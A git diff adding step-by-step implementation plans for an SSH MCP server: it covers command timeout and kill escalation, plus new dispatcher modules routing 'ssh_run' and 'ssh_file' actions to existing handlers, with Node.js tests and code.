killGraceMs = 5_000, + raw = false, + onChunk, + stdin, + } = options; +``` + +Change the command-building line: + +```javascript + const fullCommand = buildRemoteCommand(command, cwd); +``` + +to: + +```javascript + // cwd prefix first, then the OS timeout wrapper outside it -- so `timeout` + // bounds the whole `cd ... && cmd`. raw:true skips the wrapper entirely. + const withCwd = buildRemoteCommand(command, cwd); + const fullCommand = raw ? withCwd : wrapWithTimeout(withCwd, timeoutMs); +``` + +`wrapWithTimeout` returns the command unchanged when `timeoutMs` is falsy, so an untimed non-raw command is still sent bare — no special-casing needed. + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-stream-exec.js` +Expected: PASS — all tests green, the 4 new wrapper-integration tests included. + +The pre-existing `buildRemoteCommand` / `shQuote` tests are unaffected — those test the helper directly, not via `streamExecCommand`. The pre-existing timeout tests pass `timeoutMs` and now also get the OS wrapper on the command string, but they assert on `signals` and rejection messages, not on `lastCommand`, so they stay green. + +- [ ] **Step 5: Run the full suite** + +Run: `npm test` +Expected: `37 files, 708 passed, 0 failed` — the `704` after Task 4 plus these 4 tests. Zero regressions. + +- [ ] **Step 6: Commit** + +```bash +git add src/stream-exec.js tests/test-stream-exec.js +git commit -m "feat: wrap non-raw commands in the OS timeout utility" +``` + +--- + +## Done criteria + +- `SSHManager.isAlive()` is a synchronous boolean liveness check; `isConnected()` and `ping()` are unchanged. +- `index.js` `isConnectionValid` is synchronous and calls `isAlive()`; no call site `await`s it; the pool no longer runs a remote `echo` before each reused command. +- `stream-exec.js` exports `wrapWithTimeout`; `streamExecCommand` escalates a timeout `INT` to `KILL` after `killGraceMs` (default 5 s) and wraps non-raw timed commands in the OS `timeout` utility; `raw: true` bypasses the wrapper. +- `npm test` is green: `708 passed, 0 failed`, no regression in any pre-existing suite. + +Plan 4's `ssh_run` dispatcher threads its `raw` argument through to `streamExecCommand` so a `raw: true` call also skips the OS `timeout` wrapper. The `ssh_health` and `ssh_fleet connections` handlers keep using `SSHManager.ping()` for their explicit, opt-in liveness probes — only the per-call pool hot path stopped probing. + +--- + +## Self-review + +Performed after drafting; issues found and fixed inline: + +1. **The kill-timer-cleared-by-`finish` bug — caught mid-draft.** The first version of Task 4 declared `killTimer` as shared mutable state and had `finish` clear it. But on a timeout, `finish` runs *synchronously inside the timeout callback*, immediately after the kill timer is armed — so `finish` would cancel the escalation timer every time, and `KILL` would never fire. The corrected block makes the kill timer a *local* `kt` armed *after* `finish` returns, and never cleared by `finish`; instead the timer self-checks `hung.closed`. Step 3 explicitly walks through this and instructs reverting the abandoned `killTimer` edits. This is the subtlest part of the plan and the step text is deliberately verbose so an implementing agent does not reintroduce the bug. +2. **`hung.closed` must exist on the real stream.** The escalation reads `hung.closed` to decide whether to skip `KILL`. ssh2's real exec stream has no such property — only the test's `FakeStream` does. Step 3 adds `stream.closed = true` in the real `'close'` handler, so the property exists on both the fake and the real path. Without this, a real well-behaved process that closed within the grace window would still be sent a redundant `KILL`. Test `timeout: a stream that closes within grace is never sent KILL` exercises exactly this via the fake's `finish()` (which emits `'close'`). +3. **Existing timeout tests must not regress.** `test-stream-exec.js` already has `timeout: exceeds deadline -> rejects` (asserts `INT` + rejection) and `timeout: command finishes before deadline` (asserts clean resolve). The escalation must not change their observable behavior: the rejection still fires promptly at `timeoutMs` (the `KILL` is on a *separate detached* timer), and a clean finish closes the stream so no escalation arms. Step 4 of Task 4 states this explicitly. Verified by reading the two tests at planning time — neither asserts on timing beyond the rejection, and neither asserts absence of `KILL`, so both stay green. Task 5 adds the OS wrapper to the command string those tests run, but they assert on `signals`/messages, not `lastCommand` — also still green. +4. **`timeout` utility wall cannot be 0.** The OS `timeout` utility rejects a `0` duration. `wrapWithTimeout` does `Math.max(1, Math.ceil(timeoutMs / 1000))` — a 200 ms budget becomes a 1 s wall. Test `rounds sub-second timeouts up to at least 1 s` covers it. A truly sub-second bound is still enforced precisely by the *in-process* JS timer; the OS wrapper is the coarse backstop, and 1 s is the finest grain it offers. +5. **`timeout -k` semantics.** `timeout -k CMD` sends `TERM` at `` seconds, then `KILL` `` seconds later if still alive. This is the OS doing its own INT/grace/KILL escalation — the server-side mirror of the in-process logic in Task 4. The two layers are independent and complementary: the JS timer handles the common case fast and precisely; the OS `timeout` handles a process that has also outlived the SSH channel itself. Both named in the spec. +6. **`ping()` is kept, not deleted.** The spec says remove the *per-call* probe, not the capability. `SSHManager.ping()` stays — `ssh_health` and `ssh_fleet connections` legitimately want an explicit on-wire liveness check. The done criteria and the architecture note both state this so a reviewer does not "finish the job" by deleting `ping()` and breaking those handlers. `index.js` keeps a `ssh.ping()` reference in the fleet/connections handler; only `isConnectionValid` stopped calling it. +7. **`async` functions keep their `async` keyword.** Removing the one redundant `await isConnectionValid(...)` does not mean the enclosing function stops being `async` — `getConnection`, the keepalive callback, and the fleet handler all `await` other operations. Step 3 of Task 2 says so explicitly, so an agent does not strip `async` and break those other awaits. +8. **Line numbers are approximate.** `isConnectionValid` is "near line 230" and the call sites "drift". The plan instructs `grep -n 'isConnectionValid' src/index.js` and `grep -n 'await isConnectionValid' src/index.js` rather than hardcoding line numbers, and gives a verification grep that must return empty. Robust against the file shifting under a parallel Plan 4. +9. **Test count arithmetic.** Baseline `690` (confirmed by `node scripts/run-tests.mjs` at planning time). Task 1 +6 = 696. Task 2 +0 (behavior change, no new tests) = 696. Task 3 +5 = 701 — but Task 3's done line is checked against the running total, and Task 4's expected `704` is `696 + 5 + 3`; Task 3 has no full-suite step so it does not print a total. Task 4 +3 → `704`. Task 5 +4 → `708`. The full-suite expectations at Task 4 (`704`) and Task 5 (`708`) are the load-bearing ones and are internally consistent: `690 + 6 + 5 + 3 + 4 = 708`. +10. **`killGraceMs` default vs the OS `-k` grace.** The in-process `killGraceMs` defaults to 5 s and the OS `wrapWithTimeout` `-k` grace is also 5 s — deliberately the same order of magnitude so the two layers escalate on a comparable schedule. They need not be identical (different layers, different failure modes) and the plan does not couple them; 5 s each is a sane, readable default. A caller can override `killGraceMs` per call; the OS `-k` is fixed at 5 s in `wrapWithTimeout`, which is acceptable for a backstop. diff --git a/docs/superpowers/plans/2026-05-17-ssh-mcp-v4-facade-1.md b/docs/superpowers/plans/2026-05-17-ssh-mcp-v4-facade-1.md new file mode 100644 index 0000000..daacef0 --- /dev/null +++ b/docs/superpowers/plans/2026-05-17-ssh-mcp-v4-facade-1.md @@ -0,0 +1,985 @@ +# ssh-mcp v4 Dispatcher Facade Part 1 Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Build the dispatcher framework — a `ctx-factory` helper that assembles the divergent per-handler context objects, and an `action-validate` helper that enforces per-action required-argument maps — then ship the first two fat verb-tool dispatchers (`ssh_run`, `ssh_file`) as pure modules that route `action` to the existing, unchanged handlers in `src/tools/*.js`. + +**Architecture:** Additive only. Three new modules under `src/dispatchers/` plus one shared `src/dispatchers/ctx-factory.js` and `src/dispatchers/action-validate.js`. No existing handler in `src/tools/*.js` is modified — the dispatchers re-facade them. No `src/index.js` registration changes here: Part 3 does the cutover. Each dispatcher exports a single `handle({ deps, args })` function that returns the same MCP `{ content, isError? }` shape the handlers already return, so it drops straight into `registerToolConditional` later. New test suites cover routing and arg-validation. Because nothing is wired into `index.js` yet, this plan ships zero runtime risk and leaves `npm test` green. + +**Tech Stack:** Node.js ESM, the `node:assert`-based suites run by `scripts/run-tests.mjs`, zod v4. + +This is Plan 4 of 6, Part 1 of 3. Plans 1-3 (render primitives, output rewrite, compressors) are complete. Part 2: the remaining ten dispatchers (`ssh_logs`, `ssh_service`, `ssh_health`, `ssh_db`, `ssh_backup`, `ssh_session`, `ssh_net`, `ssh_docker`, `ssh_fleet`, `ssh_plan`). Part 3: the `index.js` / `tool-registry.js` / `tool-annotations.js` registration cutover and the four coupled-suite rewrites. Plan 5: new capabilities (`ssh_find`, detach/job, `;`-chain script). Plan 6: adoption. Source spec: `docs/superpowers/specs/2026-05-16-ssh-mcp-redesign-design.md` sections 3 and 7. + +### Scope note — `ssh_run` + +The spec lists `ssh_run` actions as `exec, sudo, script, fleet, detach, job-status, job-kill`. This plan builds **only `exec`, `sudo`, `fleet`**. `script`, `detach`, `job-status`, `job-kill` are new capabilities deferred to Plan 5; they are not in the `ssh_run` action enum produced here. Plan 5 extends the enum and the dispatcher. + +--- + +## File Structure + +- **Create `src/dispatchers/ctx-factory.js`** — `makeCtx(kind, deps, args)` builds the exact context object a given handler expects. The existing handlers take six divergent shapes (`{getConnection,args}`; `{getConnection,getServerConfig,args}`; `{getConnection,resolveGroup,args}`; `{getServerConfig,args}`; `{args}`; deploy's optional `getSftp`). Centralising this keeps each dispatcher readable. +- **Create `src/dispatchers/action-validate.js`** — `requireArgs(tool, action, args, requiredMap)` returns `null` when every required arg for `action` is present, or a structured `fail()` MCP response naming the missing args. MCP `inputSchema` cannot express conditional-required args, so every dispatcher calls this at entry. +- **Create `src/dispatchers/ssh-run.js`** — `handleSshRun`, dispatching `exec` / `sudo` / `fleet`. +- **Create `src/dispatchers/ssh-file.js`** — `handleSshFile`, dispatching `upload` / `download` / `sync` / `read` / `write` / `edit` / `diff` / `deploy` / `deploy-artifact`. +- **Create `tests/test-dispatcher-ctx.js`** — suite for `ctx-factory` and `action-validate`. +- **Create `tests/test-dispatcher-run.js`** — routing suite for `ssh_run`. +- **Create `tests/test-dispatcher-file.js`** — routing suite for `ssh_file`. + +All `tests/test-*.js` files are auto-discovered by `scripts/run-tests.mjs`. + +### Handler-context cheat sheet (verified against `src/tools/*.js`) + +| Handler | Context object it destructures | +|---|---| +| `handleSshExecute` | `{ getConnection, args }` | +| `handleSshExecuteSudo` | `{ getConnection, getServerConfig, args }` | +| `handleSshExecuteGroup` | `{ getConnection, resolveGroup, args }` | +| `handleSshUpload` / `handleSshDownload` / `handleSshDiff` / `handleSshEdit` | `{ getConnection, args }` | +| `handleSshSync` | `{ getConnection, getServerConfig, args }` (binds `getConnection` as `_getConnection`, unused) | +| `handleSshDeploy` | `{ getConnection, getSftp?, args }` — `getSftp` optional; falls back to `client.sftp` | +| `handleSshCat` | `{ getConnection, args }` | + +`getConnection` and `getServerConfig` are passed in from `index.js` at registration time as `deps`. The dispatchers never construct them — Part 3 wires the real ones; the tests inject fakes. + +--- + +## Task 1: `action-validate` helper + +A dispatcher receives an `action` and a flat `args` object. The schema declared every action-scoped arg optional, so the dispatcher must itself check that the args required for the chosen `action` are present. `requireArgs` does that check and, on a miss, returns a ready-to-return structured `fail()` MCP response. + +**Files:** +- Create: `src/dispatchers/action-validate.js` +- Test: `tests/test-dispatcher-ctx.js` (create) + +- [ ] **Step 1: Write the failing test** + +Create `tests/test-dispatcher-ctx.js`: + +```javascript +#!/usr/bin/env node +/** + * Test suite for the v4 dispatcher framework helpers: + * src/dispatchers/action-validate.js and src/dispatchers/ctx-factory.js. + * Run: node tests/test-dispatcher-ctx.js + */ +import assert from 'assert'; +import { requireArgs } from '../src/dispatchers/action-validate.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +function test(name, fn) { + try { + fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +console.log('[test] Testing dispatcher framework helpers\n'); + +// --- requireArgs --------------------------------------------------------- +test('requireArgs: all required args present -> null', () => { + const r = requireArgs('ssh_run', 'exec', { command: 'ls' }, { exec: ['command'] }); + assert.strictEqual(r, null); +}); + +test('requireArgs: missing arg -> structured fail MCP response', () => { + const r = requireArgs('ssh_run', 'exec', {}, { exec: ['command'] }); + assert(r && typeof r === 'object', 'returns an object'); + assert.strictEqual(r.isError, true); + assert.strictEqual(r.content[0].type, 'text'); + assert(r.content[0].text.includes('command'), 'names the missing arg'); + assert(r.content[0].text.includes('exec'), 'names the action'); +}); + +test('requireArgs: lists every missing arg, not just the first', () => { + const r = requireArgs('ssh_file', 'sync', {}, { sync: ['source', 'destination'] }); + assert(r.content[0].text.includes('source')); + assert(r.content[0].text.includes('destination')); +}); + +test('requireArgs: empty string counts as missing', () => { + const r = requireArgs('ssh_run', 'exec', { command: '' }, { exec: ['command'] }); + assert(r, 'empty-string arg is treated as absent'); +}); + +test('requireArgs: false and 0 count as present', () => { + assert.strictEqual( + requireArgs('t', 'a', { flag: false, n: 0 }, { a: ['flag', 'n'] }), + null, + 'falsey-but-present values satisfy the requirement', + ); +}); + +test('requireArgs: action absent from map -> null (no requirements)', () => { + assert.strictEqual(requireArgs('t', 'unknown', {}, { other: ['x'] }), null); +}); + +test('requireArgs: server is validated like any other required arg', () => { + const r = requireArgs('ssh_run', 'exec', { command: 'ls' }, { exec: ['server', 'command'] }); + assert(r.content[0].text.includes('server'), 'missing server reported'); +}); + +// --- Summary ------------------------------------------------------------- +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-dispatcher-ctx.js` +Expected: FAIL — `Cannot find module '../src/dispatchers/action-validate.js'`. + +- [ ] **Step 3: Write the implementation** + +Create `src/dispatchers/action-validate.js`: + +```javascript +/** + * Per-action required-argument validation for v4 fat verb-tools. + * + * MCP inputSchema cannot express "arg X required only when action = Y", so + * every action-scoped arg is declared optional and each dispatcher calls + * requireArgs() at entry to enforce its per-action required map. + */ + +import { fail, toMcp } from '../structured-result.js'; + +/** Arg counts as present unless undefined/null/empty-string. */ +function present(v) { + return v !== undefined && v !== null && v !== ''; +} + +/** + * Validate that args holds every required arg for `action`. + * @returns null when satisfied, else a structured fail() MCP response. + */ +export function requireArgs(tool, action, args, requiredMap) { + const required = (requiredMap && requiredMap[action]) || []; + const missing = required.filter((k) => !present((args || {})[k])); + if (missing.length === 0) return null; + return toMcp(fail( + tool, + `action "${action}" requires: ${missing.join(', ')}`, + { server: (args || {}).server ?? null }, + )); +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-dispatcher-ctx.js` +Expected: PASS — `7 passed, 0 failed`. + +- [ ] **Step 5: Commit** + +```bash +git add src/dispatchers/action-validate.js tests/test-dispatcher-ctx.js +git commit -m "feat: add per-action arg validation helper for v4 dispatchers" +``` + +--- + +## Task 2: `ctx-factory` helper + +Each existing handler destructures a different context object. `makeCtx` returns the right shape for a named handler kind, given the registration-time `deps` (`getConnection`, `getServerConfig`, `resolveGroup`, optional `getSftp`) and the per-call `args`. Dispatchers call `makeCtx` instead of hand-assembling objects. + +**Files:** +- Modify: `src/dispatchers/ctx-factory.js` (create) +- Test: `tests/test-dispatcher-ctx.js` (extend) + +- [ ] **Step 1: Write the failing test** + +In `tests/test-dispatcher-ctx.js`, change the import line to add `makeCtx`: + +```javascript +import { requireArgs } from '../src/dispatchers/action-validate.js'; +import { makeCtx } from '../src/dispatchers/ctx-factory.js'; +``` + +Add these tests immediately before the `// --- Summary` section: + +```javascript +// --- makeCtx ------------------------------------------------------------- +const DEPS = { + getConnection: () => 'CONN', + getServerConfig: () => 'CFG', + resolveGroup: () => 'GRP', + getSftp: () => 'SFTP', +}; + +test('makeCtx: "conn" kind -> { getConnection, args }', () => { + const ctx = makeCtx('conn', DEPS, { server: 's' }); + assert.deepStrictEqual(Object.keys(ctx).sort(), ['args', 'getConnection']); + assert.strictEqual(ctx.getConnection, DEPS.getConnection); + assert.deepStrictEqual(ctx.args, { server: 's' }); +}); + +test('makeCtx: "conn-cfg" kind adds getServerConfig', () => { + const ctx = makeCtx('conn-cfg', DEPS, { server: 's' }); + assert.deepStrictEqual(Object.keys(ctx).sort(), ['args', 'getConnection', 'getServerConfig']); + assert.strictEqual(ctx.getServerConfig, DEPS.getServerConfig); +}); + +test('makeCtx: "conn-group" kind adds resolveGroup', () => { + const ctx = makeCtx('conn-group', DEPS, {}); + assert.deepStrictEqual(Object.keys(ctx).sort(), ['args', 'getConnection', 'resolveGroup']); + assert.strictEqual(ctx.resolveGroup, DEPS.resolveGroup); +}); + +test('makeCtx: "cfg" kind -> { getServerConfig, args } only', () => { + const ctx = makeCtx('cfg', DEPS, {}); + assert.deepStrictEqual(Object.keys(ctx).sort(), ['args', 'getServerConfig']); +}); + +test('makeCtx: "args" kind -> { args } only', () => { + const ctx = makeCtx('args', DEPS, { x: 1 }); + assert.deepStrictEqual(Object.keys(ctx), ['args']); + assert.deepStrictEqual(ctx.args, { x: 1 }); +}); + +test('makeCtx: "deploy" kind -> { getConnection, getSftp, args }', () => { + const ctx = makeCtx('deploy', DEPS, {}); + assert.deepStrictEqual(Object.keys(ctx).sort(), ['args', 'getConnection', 'getSftp']); + assert.strictEqual(ctx.getSftp, DEPS.getSftp); +}); + +test('makeCtx: unknown kind throws', () => { + assert.throws(() => makeCtx('bogus', DEPS, {}), /unknown ctx kind/); +}); +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-dispatcher-ctx.js` +Expected: FAIL — `Cannot find module '../src/dispatchers/ctx-factory.js'`. + +- [ ] **Step 3: Write the implementation** + +Create `src/dispatchers/ctx-factory.js`: + +```javascript +/** + * Context-object factory for v4 dispatchers. + * + * The existing src/tools/*.js handlers destructure six divergent context + * shapes. makeCtx assembles the right one from registration-time deps so the + * dispatchers stay readable. deps holds getConnection / getServerConfig / + * resolveGroup / getSftp; only the ones a kind needs are read. + * + * kinds: + * conn { getConnection, args } exec, upload, cat, ... + * conn-cfg { getConnection, getServerConfig, args } execute_sudo, sync + * conn-group { getConnection, resolveGroup, args } execute_group + * cfg { getServerConfig, args } key_manage + * deploy { getConnection, getSftp, args } deploy / deploy-artifact + * args { args } session_send, tail_read, ... + */ + +export function makeCtx(kind, deps, args) { + const d = deps || {}; + switch (kind) { + case 'conn': + return { getConnection: d.getConnection, args }; + case 'conn-cfg': + return { getConnection: d.getConnection, getServerConfig: d.getServerConfig, args }; + case 'conn-group': + return { getConnection: d.getConnection, resolveGroup: d.resolveGroup, args }; + case 'cfg': + return { getServerConfig: d.getServerConfig, args }; + case 'deploy': + return { getConnection: d.getConnection, getSftp: d.getSftp, args }; + case 'args': + return { args }; + default: + throw new Error(`unknown ctx kind: ${kind}`); + } +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-dispatcher-ctx.js` +Expected: PASS — `14 passed, 0 failed`. + +- [ ] **Step 5: Commit** + +```bash +git add src/dispatchers/ctx-factory.js tests/test-dispatcher-ctx.js +git commit -m "feat: add ctx-factory helper for v4 dispatchers" +``` + +--- + +## Task 3: `ssh_run` dispatcher + +`ssh_run` collapses `ssh_execute`, `ssh_execute_sudo`, `ssh_execute_group`. The dispatcher validates per-action args, builds the right ctx via `makeCtx`, maps the v4 snake_case args onto each handler's expected arg names, and calls the handler. `exec` and `sudo` need `getServerConfig` for `default_dir` / sudo-password lookup; `fleet` needs `resolveGroup`. + +**Files:** +- Create: `src/dispatchers/ssh-run.js` +- Test: `tests/test-dispatcher-run.js` (create) + +- [ ] **Step 1: Write the failing test** + +Create `tests/test-dispatcher-run.js`: + +```javascript +#!/usr/bin/env node +/** + * Routing suite for the ssh_run v4 dispatcher (src/dispatchers/ssh-run.js). + * Confirms each action lands on the right handler with the right context + * object and arg mapping. Handlers are replaced by spies via the deps object. + * Run: node tests/test-dispatcher-run.js + */ +import assert from 'assert'; +import { handleSshRun } from '../src/dispatchers/ssh-run.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +// A spy that records the single ctx object it was called with. +function spy(ret = { content: [{ type: 'text', text: 'ok' }], isError: false }) { + const calls = []; + const fn = async (ctx) => { calls.push(ctx); return ret; }; + fn.calls = calls; + return fn; +} + +const DEPS = { + getConnection: () => 'CONN', + getServerConfig: () => ({ default_dir: '/srv' }), + resolveGroup: (g) => ({ name: g, servers: ['a', 'b'] }), +}; + +console.log('[test] Testing ssh_run dispatcher\n'); + +// --- routing ------------------------------------------------------------- +await test('exec routes to handlers.execute with { getConnection, args }', async () => { + const execute = spy(); + await handleSshRun({ + deps: DEPS, + handlers: { execute }, + args: { server: 's', action: 'exec', command: 'ls' }, + }); + assert.strictEqual(execute.calls.length, 1); + const ctx = execute.calls[0]; + assert.strictEqual(ctx.getConnection, DEPS.getConnection); + assert.strictEqual(ctx.args.command, 'ls'); + assert.strictEqual(ctx.args.server, 's'); + assert.strictEqual(ctx.resolveGroup, undefined, 'exec ctx carries no resolveGroup'); +}); + +await test('exec maps timeout -> timeoutMs for the handler', async () => { + const execute = spy(); + await handleSshRun({ + deps: DEPS, handlers: { execute }, + args: { server: 's', action: 'exec', command: 'ls', timeout: 9000 }, + }); + assert.strictEqual(execute.calls[0].args.timeoutMs, 9000); +}); + +await test('sudo routes to handlers.executeSudo with getServerConfig in ctx', async () => { + const executeSudo = spy(); + await handleSshRun({ + deps: DEPS, handlers: { executeSudo }, + args: { server: 's', action: 'sudo', command: 'systemctl restart nginx' }, + }); + assert.strictEqual(executeSudo.calls.length, 1); + assert.strictEqual(executeSudo.calls[0].getServerConfig, DEPS.getServerConfig); +}); + +await test('sudo maps sudo_password -> password and timeout -> timeoutMs', async () => { + const executeSudo = spy(); + await handleSshRun({ + deps: DEPS, handlers: { executeSudo }, + args: { server: 's', action: 'sudo', command: 'id', sudo_password: 'pw', timeout: 5000 }, + }); + assert.strictEqual(executeSudo.calls[0].args.password, 'pw'); + assert.strictEqual(executeSudo.calls[0].args.timeoutMs, 5000); +}); + +await test('fleet routes to handlers.executeGroup with resolveGroup in ctx', async () => { + const executeGroup = spy(); + await handleSshRun({ + deps: DEPS, handlers: { executeGroup }, + args: { action: 'fleet', group: 'web', command: 'uptime' }, + }); + assert.strictEqual(executeGroup.calls.length, 1); + assert.strictEqual(executeGroup.calls[0].resolveGroup, DEPS.resolveGroup); + assert.strictEqual(executeGroup.calls[0].getConnection, DEPS.getConnection); +}); + +// --- arg validation ------------------------------------------------------ +await test('exec without command -> structured fail, handler never called', async () => { + const execute = spy(); + const r = await handleSshRun({ + deps: DEPS, handlers: { execute }, + args: { server: 's', action: 'exec' }, + }); + assert.strictEqual(execute.calls.length, 0, 'handler not invoked'); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('command')); +}); + +await test('exec without server -> structured fail', async () => { + const r = await handleSshRun({ + deps: DEPS, handlers: { execute: spy() }, + args: { action: 'exec', command: 'ls' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('server')); +}); + +await test('fleet without group -> structured fail', async () => { + const r = await handleSshRun({ + deps: DEPS, handlers: { executeGroup: spy() }, + args: { action: 'fleet', command: 'ls' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('group')); +}); + +await test('unknown action -> structured fail naming the action', async () => { + const r = await handleSshRun({ + deps: DEPS, handlers: {}, + args: { server: 's', action: 'teleport' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('teleport')); +}); + +await test('missing action -> structured fail', async () => { + const r = await handleSshRun({ deps: DEPS, handlers: {}, args: { server: 's' } }); + assert.strictEqual(r.isError, true); +}); + +// --- Summary ------------------------------------------------------------- +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-dispatcher-run.js` +Expected: FAIL — `Cannot find module '../src/dispatchers/ssh-run.js'`. + +- [ ] **Step 3: Write the implementation** + +Create `src/dispatchers/ssh-run.js`: + +```javascript +/** + * ssh_run -- v4 fat verb-tool dispatcher. + * + * Collapses ssh_execute / ssh_execute_sudo / ssh_execute_group. Routes the + * `action` arg to an existing handler in src/tools/exec-tools.js, building the + * right context object via makeCtx and mapping v4 snake_case args to the + * handler arg names. + * + * actions handled here: exec, sudo, fleet. + * (script, detach, job-status, job-kill are added by Plan 5.) + * + * handlers (injected): { execute, executeSudo, executeGroup }. + */ + +import { fail, toMcp } from '../structured-result.js'; +import { makeCtx } from './ctx-factory.js'; +import { requireArgs } from './action-validate.js'; + +const REQUIRED = { + exec: ['server', 'command'], + sudo: ['server', 'command'], + fleet: ['group', 'command'], +}; + +export async function handleSshRun({ deps, handlers, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_run', 'action is required', { server: a.server ?? null })); + } + if (!Object.prototype.hasOwnProperty.call(REQUIRED, action)) { + return toMcp(fail('ssh_run', `unknown action "${action}"`, { server: a.server ?? null })); + } + + const bad = requireArgs('ssh_run', action, a, REQUIRED); + if (bad) return bad; + + if (action === 'exec') { + const cfg = (deps.getServerConfig && deps.getServerConfig(a.server)) || {}; + return handlers.execute(makeCtx('conn', deps, { + server: a.server, + command: a.command, + cwd: a.cwd || cfg.default_dir, + timeoutMs: a.timeout, + raw: a.raw, + format: a.format, + })); + } + + if (action === 'sudo') { + return handlers.executeSudo(makeCtx('conn-cfg', deps, { + server: a.server, + command: a.command, + password: a.sudo_password, + cwd: a.cwd, + timeoutMs: a.timeout, + raw: a.raw, + format: a.format, + })); + } + + // action === 'fleet' + return handlers.executeGroup(makeCtx('conn-group', deps, { + group: a.group, + command: a.command, + cwd: a.cwd, + raw: a.raw, + format: a.format, + })); +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-dispatcher-run.js` +Expected: PASS — `10 passed, 0 failed`. + +- [ ] **Step 5: Commit** + +```bash +git add src/dispatchers/ssh-run.js tests/test-dispatcher-run.js +git commit -m "feat: add ssh_run v4 dispatcher (exec, sudo, fleet)" +``` + +--- + +## Task 4: `ssh_file` dispatcher + +`ssh_file` collapses `ssh_upload`, `ssh_download`, `ssh_sync`, `ssh_cat`, `ssh_edit`, `ssh_diff`, `ssh_deploy`, `ssh_deploy_artifact`. Nine actions: `upload`, `download`, `sync`, `read`, `write`, `edit`, `diff`, `deploy`, `deploy-artifact`. `sync` needs `getServerConfig`; `deploy` and `deploy-artifact` use the `deploy` ctx kind. `read` maps onto `handleSshCat`; `write` maps onto `handleSshEdit` with whole-file `new_content`. + +**Files:** +- Create: `src/dispatchers/ssh-file.js` +- Test: `tests/test-dispatcher-file.js` (create) + +- [ ] **Step 1: Write the failing test** + +Create `tests/test-dispatcher-file.js`: + +```javascript +#!/usr/bin/env node +/** + * Routing suite for the ssh_file v4 dispatcher (src/dispatchers/ssh-file.js). + * Run: node tests/test-dispatcher-file.js + */ +import assert from 'assert'; +import { handleSshFile } from '../src/dispatchers/ssh-file.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +function spy(ret = { content: [{ type: 'text', text: 'ok' }], isError: false }) { + const calls = []; + const fn = async (ctx) => { calls.push(ctx); return ret; }; + fn.calls = calls; + return fn; +} + +const DEPS = { + getConnection: () => 'CONN', + getServerConfig: () => ({}), + getSftp: () => 'SFTP', +}; + +console.log('[test] Testing ssh_file dispatcher\n'); + +// --- routing ------------------------------------------------------------- +await test('upload routes to handlers.upload, maps local/remote_path', async () => { + const upload = spy(); + await handleSshFile({ + deps: DEPS, handlers: { upload }, + args: { server: 's', action: 'upload', local_path: '/l', remote_path: '/r' }, + }); + assert.strictEqual(upload.calls.length, 1); + assert.strictEqual(upload.calls[0].args.local_path, '/l'); + assert.strictEqual(upload.calls[0].args.remote_path, '/r'); + assert.strictEqual(upload.calls[0].getConnection, DEPS.getConnection); +}); + +await test('download routes to handlers.download', async () => { + const download = spy(); + await handleSshFile({ + deps: DEPS, handlers: { download }, + args: { server: 's', action: 'download', local_path: '/l', remote_path: '/r' }, + }); + assert.strictEqual(download.calls.length, 1); +}); + +await test('sync routes to handlers.sync with getServerConfig in ctx', async () => { + const sync = spy(); + await handleSshFile({ + deps: DEPS, handlers: { sync }, + args: { server: 's', action: 'sync', source: 'local:/a', destination: 'remote:/b' }, + }); + assert.strictEqual(sync.calls.length, 1); + assert.strictEqual(sync.calls[0].getServerConfig, DEPS.getServerConfig); + assert.strictEqual(sync.calls[0].args.source, 'local:/a'); +}); + +await test('read routes to handlers.cat, maps remote_path -> file', async () => { + const cat = spy(); + await handleSshFile({ + deps: DEPS, handlers: { cat }, + args: { server: 's', action: 'read', remote_path: '/etc/hosts', tail: 20 }, + }); + assert.strictEqual(cat.calls.length, 1); + assert.strictEqual(cat.calls[0].args.file, '/etc/hosts'); + assert.strictEqual(cat.calls[0].args.tail, 20); +}); + +await test('write routes to handlers.edit with new_content set from content', async () => { + const edit = spy(); + await handleSshFile({ + deps: DEPS, handlers: { edit }, + args: { server: 's', action: 'write', remote_path: '/tmp/f', content: 'hello' }, + }); + assert.strictEqual(edit.calls.length, 1); + assert.strictEqual(edit.calls[0].args.path, '/tmp/f'); + assert.strictEqual(edit.calls[0].args.new_content, 'hello'); +}); + +await test('edit routes to handlers.edit, maps remote_path -> path', async () => { + const edit = spy(); + await handleSshFile({ + deps: DEPS, handlers: { edit }, + args: { + server: 's', action: 'edit', remote_path: '/tmp/f', + old_text: 'a', new_text: 'b', + }, + }); + assert.strictEqual(edit.calls.length, 1); + assert.strictEqual(edit.calls[0].args.path, '/tmp/f'); + assert.deepStrictEqual(edit.calls[0].args.patch, [{ find: 'a', replace: 'b' }]); +}); + +await test('diff routes to handlers.diff', async () => { + const diff = spy(); + await handleSshFile({ + deps: DEPS, 